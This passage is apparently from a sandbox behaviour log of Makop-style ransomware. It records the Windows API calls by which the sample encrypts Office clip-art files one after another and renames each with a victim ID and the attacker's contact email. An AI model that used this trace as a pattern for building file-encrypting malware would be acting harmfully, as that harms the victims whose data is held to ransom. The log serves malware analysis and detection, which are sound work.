CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0165.760] CryptDestroyKey (hKey=0x48c7168) returned 1 [0165.760] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0165.760] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0165.760] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0165.760] WriteFile (in: hFile=0x130, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0165.761] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0165.761] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0165.761] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0165.761] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.761] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.761] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x758, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x758, lpOverlapped=0x0) returned 1 [0165.761] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x760, dwBufLen=0x760 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x760) returned 1 [0165.761] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.761] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x760, lpOverlapped=0x0) returned 1 [0165.762] CryptDestroyKey (hKey=0x48c7168) returned 1 [0165.762] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.762] SetEndOfFile (hFile=0x130) returned 1 [0165.769] GetProcessHeap () returned 0x48a0000 [0165.769] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0165.769] GetProcessHeap () returned 0x48a0000 [0165.769] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0165.769] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18187_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0165.769] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18187_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18187_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18187_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18187_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0165.771] CloseHandle (hObject=0x130) returned 1 [0165.771] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c95f00, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcb67640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x84c95f00, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0x980, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18189_.WMF", cAlternateFileName="")) returned 1 [0165.771] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18189_.WMF") returned 70 [0165.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18189_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18189_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0165.772] GetProcessHeap () returned 0x48a0000 [0165.772] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0165.772] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0165.772] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0165.773] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0165.773] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.773] GetProcessHeap () returned 0x48a0000 [0165.773] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0165.773] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0165.773] CryptDestroyKey (hKey=0x48c7168) returned 1 [0165.773] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0165.777] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0165.777] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0165.777] WriteFile (in: hFile=0x130, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0165.777] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0165.777] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0165.778] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0165.778] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.778] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.778] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x980, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x980, lpOverlapped=0x0) returned 1 [0165.778] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x980, dwBufLen=0x980 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x980) returned 1 [0165.778] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.778] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x980, lpOverlapped=0x0) returned 1 [0165.778] CryptDestroyKey (hKey=0x48c7168) returned 1 [0165.778] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.779] SetEndOfFile (hFile=0x130) returned 1 [0165.784] GetProcessHeap () returned 0x48a0000 [0165.784] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0165.784] GetProcessHeap () returned 0x48a0000 [0165.785] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0165.785] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18189_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0165.785] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18189_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18189_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18189_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18189_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0165.786] CloseHandle (hObject=0x130) returned 1 [0165.786] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea699700, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xea699700, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0x994, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18190_.WMF", cAlternateFileName="")) returned 1 [0165.786] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18190_.WMF") returned 70 [0165.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18190_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18190_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0165.787] GetProcessHeap () returned 0x48a0000 [0165.787] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0165.787] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0165.787] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0165.788] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xc, lpOverlapped=0x0) returned 1 [0165.791] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0165.792] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.792] GetProcessHeap () returned 0x48a0000 [0165.792] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0165.792] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0165.792] CryptDestroyKey (hKey=0x48c7168) returned 1 [0165.792] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0165.792] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0165.792] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0165.792] WriteFile (in: hFile=0x130, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0165.792] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0165.793] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0165.793] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0165.793] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.793] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.793] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x994, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x994, lpOverlapped=0x0) returned 1 [0165.793] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x9a0, dwBufLen=0x9a0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x9a0) returned 1 [0165.793] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.793] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x9a0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x9a0, lpOverlapped=0x0) returned 1 [0165.794] CryptDestroyKey (hKey=0x48c7168) returned 1 [0165.794] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.794] SetEndOfFile (hFile=0x130) returned 1 [0165.800] GetProcessHeap () returned 0x48a0000 [0165.800] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0165.800] GetProcessHeap () returned 0x48a0000 [0165.800] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0165.800] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18190_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0165.800] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18190_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18190_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18190_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18190_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0165.802] CloseHandle (hObject=0x130) returned 1 [0165.802] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x171d3300, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x171d3300, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0xc9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18191_.WMF", cAlternateFileName="")) returned 1 [0165.802] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18191_.WMF") returned 70 [0165.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18191_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0165.803] GetProcessHeap () returned 0x48a0000 [0165.803] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0165.803] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0165.803] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0165.803] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x2, lpOverlapped=0x0) returned 1 [0165.807] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0165.807] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.807] GetProcessHeap () returned 0x48a0000 [0165.807] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0165.807] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0165.807] CryptDestroyKey (hKey=0x48c7168) returned 1 [0165.807] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0165.808] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0165.808] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0165.808] WriteFile (in: hFile=0x130, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0165.808] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0165.808] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0165.808] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0165.808] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.808] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.808] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0xc9e, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xc9e, lpOverlapped=0x0) returned 1 [0165.809] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xca0, dwBufLen=0xca0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xca0) returned 1 [0165.809] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.809] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xca0, lpOverlapped=0x0) returned 1 [0165.809] CryptDestroyKey (hKey=0x48c7168) returned 1 [0165.809] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xd74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.818] SetEndOfFile (hFile=0x130) returned 1 [0165.824] GetProcessHeap () returned 0x48a0000 [0165.824] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0165.824] GetProcessHeap () returned 0x48a0000 [0165.824] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0165.824] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18191_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0165.824] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18191_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18191_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18191_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18191_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0165.826] CloseHandle (hObject=0x130) returned 1 [0165.826] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6432a00, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb6432a00, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0x2068, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18192_.WMF", cAlternateFileName="")) returned 1 [0165.827] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18192_.WMF") returned 70 [0165.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18192_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18192_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0165.829] GetProcessHeap () returned 0x48a0000 [0165.829] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0165.829] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0165.829] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0165.829] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0165.833] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, 